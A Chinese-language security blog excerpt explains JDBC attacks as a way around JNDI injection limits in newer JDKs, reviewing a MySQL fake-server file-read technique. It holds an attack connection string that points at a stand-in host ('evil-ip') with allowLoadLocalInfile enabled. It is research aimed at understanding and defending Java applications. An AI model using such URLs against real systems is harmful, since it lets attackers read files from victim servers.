一、前言 JNDI 注入作为 Java 攻击的常见 Sink 点,通常被用于 Weblogic 以及 Fastjson 等常见目标的攻击流程中,而 JNDI 注入的利用经过 JDK 新版本对相关利用的修复,以及一些常见依赖利用方式的变化,在高版本 JDK 中,其利用逐渐遭遇了困境。而 JDBC Attack,作为针对 Java 数据库引擎的一种攻击方式,除了其常规的利用方式之外,也可以与原生反序列化结合起来,实现对 JNDI 攻击的扩展,解决高版本下 JNDI 注入的困境。 二、关于 JDBC Attack 首先是关于基础的JDBC Attack的一些回顾,JDBC 是Java应用在连接不同的底层数据库引擎时使用的抽象层,使得Java应用可以用相同的接口对各种不同的数据库进行抽象的控制,JDBC使用如下的URL格式进行连接。 Class.forName("com.mysql.cj.jdbc.Driver"); String url = "jdbc:mysql://mysql.db.server:3306/my_database?useSSL=false&serverTimezone=UTC" Connection conn = DriverManager.getConnection(url) 而该URL中,后面的可控参数就是针对不同数据库Driver进行利用的入口。 接下来我们来回顾一下常见的几个 Driver 的利用: 2.1 MySQL Driver 针对MySQL Driver的通用利用主要是使用 Fake Server 进行任意文件读,首先需要配置 MySQL fake server,然后开启 allowLoadLocalInfile=true 设置,构造形如 jdbc:mysql://evil-ip:3306/test?allowLoadLocalInfile=true 的 URL 去请求 fake server 即可进行利用。 对于 MySQL 也可以打反序列化,但是有版本限制,只有较老的 <= 8.0.20, < 5....

2024年07月24日 · 5 分钟 · crumbledwall